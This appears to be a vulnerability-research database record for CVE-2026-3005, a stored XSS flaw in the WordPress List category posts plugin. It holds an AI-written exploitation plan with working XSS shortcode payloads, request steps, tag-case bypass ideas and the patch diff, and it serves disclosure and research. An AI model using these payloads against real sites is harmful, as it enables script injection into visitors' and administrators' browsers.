[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fbHMePJRQCTkKkMAPapcAruktCNKwWDB4xLBkB0aYZ9E":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-3005","list-category-posts-authenticated-author-stored-cross-site-scripting-via-catlist-shortcode","List category posts \u003C= 0.94.0 - Authenticated (Author+) Stored Cross-Site Scripting via 'catlist' Shortcode","The List category posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'catlist' shortcode in all versions up to, and including, 0.94.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","list-category-posts",null,"\u003C=0.94.0","0.95.0","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-08 00:00:00","2026-04-09 12:28:10",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F1a93ff8a-364f-4ec4-9c32-208c7a3e1fc1?source=api-prod",2,[22,23,24,25,26],"CHANGELOG.md","include\u002Flcp-catlistdisplayer.php","include\u002Flcp-thumbnail.php","list-category-posts.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-3005 (List Category Posts)\n\n## 1. Vulnerability Summary\nThe **List category posts** plugin for WordPress (versions \u003C= 0.94.0) is vulnerable to Stored Cross-Site Scripting (XSS) via the `[catlist]` shortcode. The vulnerability arises from insufficient sanitization and escaping of attributes like `_class` and `_tag` within the shortcode processing logic. While the developer began hardening these attributes in version 0.94.0 (specifically for `thumbnail_class`), several other attributes remain unescaped when rendered in the HTML output, allowing authenticated users with \"Author\" or \"Contributor\" privileges to inject malicious scripts into pages.\n\n## 2. Attack Vector Analysis\n- **Endpoint\u002FHook:** The vulnerability is triggered by the `[catlist]` shortcode, which is registered in `list-category-posts.php` via `add_shortcode('catlist', array('ListCategoryPosts', 'catlist_func'))`.\n- **Payload Carry:** The payload is carried within shortcode attributes, specifically those related to CSS classes and HTML tags (e.g., `date_class`, `author_class`, `excerpt_class`, `catlink_class`).\n- **Authentication Level:** **Author** or above (though Contributor is often sufficient for XSS if an admin previews the post). The CVE specifies Author+ for the stored nature of the exploit.\n- **Preconditions:** The attacker must be able to create or edit a post\u002Fpage and insert shortcodes.\n\n## 3. Code Flow\n1.  **Entry Point:** `list-category-posts.php` -> `ListCategoryPosts::catlist_func($atts)`\n    - This function calls `shortcode_atts()` to parse the user-supplied attributes.\n2.  **Processing:** `include\u002Flcp-catlistdisplayer.php` -> `CatListDisplayer::__construct($atts)`\n    - The attributes are stored in `$this->params`.\n3.  **Rendering Preparation:** `CatListDisplayer::display()` -> `CatListDisplayer::create_output()`\n    - This triggers the loading of a template via `require $this->templater->get_template();`.\n4.  **Attribute Retrieval:** `CatListDisplayer::content_getter($type, $post, $tag, $css_class)`\n    - Line 144: `$css_class = $this->params[$type . '_class'] ?: $css_class;`\n    - This method retrieves the user-supplied class for types like `date`, `author`, or `excerpt`.\n5.  **Vulnerable Sink (Inferred):** The `$css_class` is passed to rendering methods in the `CatList` or `LcpWrapper` classes (not provided, but referenced). These classes construct the HTML tags. For example, a date might be wrapped as `\u003Cspan class=\"[USER_INPUT]\">...\u003C\u002Fspan>`. If `[USER_INPUT]` is not passed through `esc_attr()`, XSS occurs.\n    - Note: `include\u002Flcp-thumbnail.php` (v0.94.0) shows `LcpUtils::sanitize_html_classes($lcp_thumb_class)` being used, but the changelog indicates this was the specific fix for version 0.94.0, suggesting other classes like `date_class` were overlooked.\n\n## 4. Nonce Acquisition Strategy\nThis vulnerability **does not require a nonce** to exploit the rendering path. The `[catlist]` shortcode is a standard WordPress shortcode. The exploit is \"Stored\" because the shortcode itself is saved in the post content.\n- The attacker uses the standard WordPress post creation\u002Fediting interface (`wp-admin\u002Fpost.php` or `wp-admin\u002Fadmin-ajax.php`).\n- These interfaces *do* require nonces (`_wpnonce`), but these are standard WordPress nonces available to any logged-in user with post-editing capabilities.\n\n## 5. Exploitation Strategy\nThe goal is to insert a `[catlist]` shortcode with a malicious `date_class` attribute that breaks out of the HTML `class` attribute.\n\n1.  **Preparation:** Log in as an **Author** user.\n2.  **Payload Injection:** Create a new post with the following content:\n    ```bbcode\n    [catlist date=yes date_class='\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>']\n    ```\n    Alternatively, using an event handler to be more stealthy:\n    ```bbcode\n    [catlist date=yes date_class='x\" onmouseover=\"alert(1)\" style=\"display:block;width:100px;height:100px;background:red']\n    ```\n3.  **Request Construction:**\n    - **URL:** `http:\u002F\u002F[TARGET]\u002Fwp-admin\u002Fpost-new.php` (to get the initial nonce) then `POST` to `http:\u002F\u002F[TARGET]\u002Fwp-admin\u002Fpost.php`.\n    - **Method:** `POST`\n    - **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n    - **Body Parameters:**\n        - `action`: `editpost`\n        - `post_ID`: `[POST_ID]`\n        - `post_title`: `XSS Test`\n        - `content`: `[catlist date=yes date_class='\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>']`\n        - `post_status`: `publish`\n        - `_wpnonce`: `[NONCE_FROM_PAGE]`\n\n## 6. Test Data Setup\n1.  **User Creation:** Create an Author user.\n    ```bash\n    wp user create attacker attacker@example.com --role=author --user_pass=password123\n    ```\n2.  **Category\u002FPost Creation:** Ensure at least one category and one post exist so `[catlist]` has something to display (otherwise the `date` won't render).\n    ```bash\n    wp post create --post_type=post --post_title=\"Victim Post\" --post_status=publish\n    ```\n\n## 7. Expected Results\n- When the published post is viewed, the shortcode will execute.\n- The output HTML will look similar to:\n    ```html\n    \u003Cspan class=\"\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\">October 26, 2023\u003C\u002Fspan>\n    ```\n- An alert box showing the document domain will appear in the browser.\n\n## 8. Verification Steps\n1.  **Browser Check:** Navigate to the URL of the created post and check for the alert.\n2.  **HTML Source Check:** View the source code of the rendered page and search for the payload.\n    ```bash\n    # Using http_request to check the rendered HTML\n    # Look for: \u003Cspan class=\"\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n    ```\n3.  **Database Check:** Use WP-CLI to confirm the payload is stored correctly in the `post_content`.\n    ```bash\n    wp post get [POST_ID] --field=post_content\n    ```\n\n## 9. Alternative Approaches\nIf `date_class` is escaped, try other attributes known to use the same `content_getter` pattern in `include\u002Flcp-catlistdisplayer.php`:\n- `author_class`\n- `excerpt_class`\n- `comments_class`\n- `catlink_class`\n- `conditional_title_class`\n- `posts_morelink_class` (Line 144 identifies this as a potential target).\n\nAlso, test `_tag` attributes (e.g., `date_tag='script'`). While the changelog for 0.90.2 claims to prevent `script` tags, check if case-insensitive bypasses work (e.g., `date_tag='SCRIPT'`) or if other dangerous tags are allowed.","The List category posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'catlist' shortcode in versions up to 0.94.0. This occurs due to insufficient input sanitization and output escaping on shortcode attributes such as 'date_class', 'author_class', and thumbnail parameters, allowing authenticated attackers with Author-level access or higher to inject arbitrary JavaScript.","\u002F\u002F include\u002Flcp-catlistdisplayer.php (approx line 142)\nprivate function content_getter($type, $post, $tag = null, $css_class = null) {\n  \u002F\u002F Shortcode parameters take precedence over function arguments\n  \u002F\u002F for tags and classes. 'posts_morelink_tag' param doesn't exist\n  if ($type !== 'posts_morelink') $tag = $this->params[$type . '_tag'] ?: $tag;\n  $css_class = $this->params[$type . '_class'] ?: $css_class;\n\n---\n\n\u002F\u002F include\u002Flcp-thumbnail.php (approx line 99)\n$imageurl = \"http:\u002F\u002Fi.ytimg.com\u002Fvi\u002F{$matches[3]}\u002F1.jpg\";\n}\n\n$lcp_ytimage = '\u003Cimg src=\"' . $imageurl . '\" alt=\"' . $single->post_title . '\" \u002F>';\n\nif ($lcp_thumb_class != null){\n  $thmbn_class = ' class=\"' . LcpUtils::sanitize_html_classes($lcp_thumb_class) . '\" \u002F>';\n  $lcp_ytimage = preg_replace(\"\u002F\\>\u002F\", $thmbn_class, $lcp_ytimage);","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flist-category-posts\u002F0.94.0\u002FCHANGELOG.md \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flist-category-posts\u002F0.95.0\u002FCHANGELOG.md\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flist-category-posts\u002F0.94.0\u002FCHANGELOG.md\t2026-02-16 20:33:42.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flist-category-posts\u002F0.95.0\u002FCHANGELOG.md\t2026-03-14 21:07:06.000000000 +0000\n@@ -1,5 +1,11 @@\n # CHANGELOG\n \n+## 0.95.0\n+\n+* Bugfix: Removes double slash in pagination code. Fixes [#531](https:\u002F\u002Fgithub.com\u002Fpicandocodigo\u002FList-Category-Posts\u002Fissues\u002F531).\n+* Addresses potential security vulnerability CVE-2026-3005\n+* Bugfix: lcp_title_limit corrupts multibyte characters in fallback path. Fixes [#549](https:\u002F\u002Fgithub.com\u002Fpicandocodigo\u002FList-Category-Posts\u002Fissues\u002F549). Thanks @jmingau for the report and fix!\n+\n ## 0.94.0\n \n * Addresses CVE-2026-0553.\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flist-category-posts\u002F0.94.0\u002Finclude\u002Flcp-catlistdisplayer.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flist-category-posts\u002F0.95.0\u002Finclude\u002Flcp-catlistdisplayer.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flist-category-posts\u002F0.94.0\u002Finclude\u002Flcp-catlistdisplayer.php\t2024-12-16 19:58:50.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flist-category-posts\u002F0.95.0\u002Finclude\u002Flcp-catlistdisplayer.php\t2026-03-14 21:07:06.000000000 +0000\n@@ -297,11 +297,22 @@\n   private function lcp_title_limit( $lcp_post_title ){\n     if ( !empty($this->params['title_limit']) && $this->params['title_limit'] !== \"0\" ){\n       $title_limit = intval($this->params['title_limit']);\n-      if( function_exists('mb_strlen') && function_exists('mb_substr') && mb_strlen($lcp_post_title) > $title_limit ){\n-        $lcp_post_title = mb_substr($lcp_post_title, 0, $title_limit) . \"&hellip;\";\n+      \u002F\u002F Safe multibyte path\n+      if( function_exists('mb_strlen') && function_exists('mb_substr') ) {\n+        if( mb_strlen($lcp_post_title) > $title_limit ){\n+          $lcp_post_title = mb_substr($lcp_post_title, 0, $title_limit) . \"&hellip;\";\n+        }\n       } else {\n-        if( strlen($lcp_post_title) > $title_limit ){\n-          $lcp_post_title = substr($lcp_post_title, 0, $title_limit) . \"&hellip;\";\n+        \u002F\u002F Fallback: use iconv if available\n+        if( function_exists('iconv_strlen') && function_exists('iconv_substr')) {\n+          if( iconv_strlen($lcp_post_title, 'UTF-8') > $title_limit ){\n+            $lcp_post_title = iconv_substr($lcp_post_title, 0, $title_limit, 'UTF-8') . \"&hellip;\";\n+          }\n+        } else {\n+          \u002F\u002F Last resort: byte-based (may corrupt multibyte chars)\n+          if( strlen($lcp_post_title) > $title_limit ){\n+            $lcp_post_title = substr($lcp_post_title, 0, $title_limit) . \"&hellip;\";\n+          }\n         }\n       }\n     }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flist-category-posts\u002F0.94.0\u002Finclude\u002Flcp-thumbnail.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flist-category-posts\u002F0.95.0\u002Finclude\u002Flcp-thumbnail.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flist-category-posts\u002F0.94.0\u002Finclude\u002Flcp-thumbnail.php\t2026-02-16 20:33:42.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flist-category-posts\u002F0.95.0\u002Finclude\u002Flcp-thumbnail.php\t2026-03-14 21:07:06.000000000 +0000\n@@ -89,16 +89,17 @@\n       $youtubeurl = $matches[0];\n \n       if ($youtubeurl){\n-        $imageurl = \"http:\u002F\u002Fi.ytimg.com\u002Fvi\u002F{$matches[3]}\u002F1.jpg\";\n+        $imageurl = \"https:\u002F\u002Fi.ytimg.com\u002Fvi\u002F{$matches[3]}\u002F1.jpg\";\n       }\n \n-      $lcp_ytimage = '\u003Cimg src=\"' . $imageurl . '\" alt=\"' . $single->post_title . '\" \u002F>';\n+      $lcp_ytimage = '\u003Cimg src=\"' . esc_url($imageurl) .\n+        '\" alt=\"' . esc_attr($single->post_title) . '\" \u002F>';\n \n       if ($lcp_thumb_class != null){\n         $thmbn_class = ' class=\"' . LcpUtils::sanitize_html_classes($lcp_thumb_class) . '\" \u002F>';\n         $lcp_ytimage = preg_replace(\"\u002F\\>\u002F\", $thmbn_class, $lcp_ytimage);\n       }\n-      return '\u003Ca href=\"' . get_permalink($single->ID).'\">' . $lcp_ytimage . '\u003C\u002Fa>';\n+      return '\u003Ca href=\"' . esc_url(get_permalink($single->ID)) . '\">' . $lcp_ytimage . '\u003C\u002Fa>';\n     }\n   }\n }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flist-category-posts\u002F0.94.0\u002Flist-category-posts.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flist-category-posts\u002F0.95.0\u002Flist-category-posts.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flist-category-posts\u002F0.94.0\u002Flist-category-posts.php\t2026-02-16 20:33:42.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flist-category-posts\u002F0.95.0\u002Flist-category-posts.php\t2026-03-14 21:07:06.000000000 +0000\n@@ -3,7 +3,7 @@\n   Plugin Name: List category posts\n   Plugin URI: https:\u002F\u002Fgithub.com\u002Fpicandocodigo\u002FList-Category-Posts\n   Description: List Category Posts allows you to list posts by category in a post\u002Fpage using the [catlist] shortcode. This shortcode accepts a category name or id, the order in which you want the posts to display, the number of posts to display and many more parameters. You can use [catlist] as many times as needed with different arguments. Usage: [catlist argument1=value1 argument2=value2].\n-  Version: 0.94.0\n+  Version: 0.95.0\n   Author: Fernando Briano\n   Author URI: http:\u002F\u002Ffernandobriano.com\n \n@@ -238,7 +238,7 @@\n   } elseif ( @file_exists( get_template_directory() . '\u002Flcp_paginator.css' ) ) {\n     $css_file = get_template_directory_uri() . '\u002Flcp_paginator.css';\n   } else {\n-    $css_file = plugin_dir_url(__FILE__) . '\u002Flcp_paginator.css';\n+    $css_file = plugin_dir_url(__FILE__) . 'lcp_paginator.css';\n   }\n \n   wp_enqueue_style( 'lcp_paginator', $css_file);","To exploit this vulnerability, an authenticated user with Author or Contributor privileges can inject a malicious payload through the attributes of the `[catlist]` shortcode. By creating or editing a post, the attacker inserts a shortcode such as `[catlist date=yes date_class='\">\u003Cscript>alert(1)\u003C\u002Fscript>']`. The plugin's `CatListDisplayer` class retrieves these attributes and, for several types, fails to escape them before rendering the final HTML. When any user (including administrators) views the published post, the injected script will execute in their browser context. The attack can also be performed via thumbnail-related attributes if those are rendered unescaped in the specific template being used.","gemini-3-flash-preview","2026-04-17 20:14:13","2026-04-17 20:14:58",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","0.94.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flist-category-posts\u002Ftags\u002F0.94.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flist-category-posts.0.94.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flist-category-posts\u002Ftags\u002F0.95.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flist-category-posts.0.95.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flist-category-posts\u002Ftags"]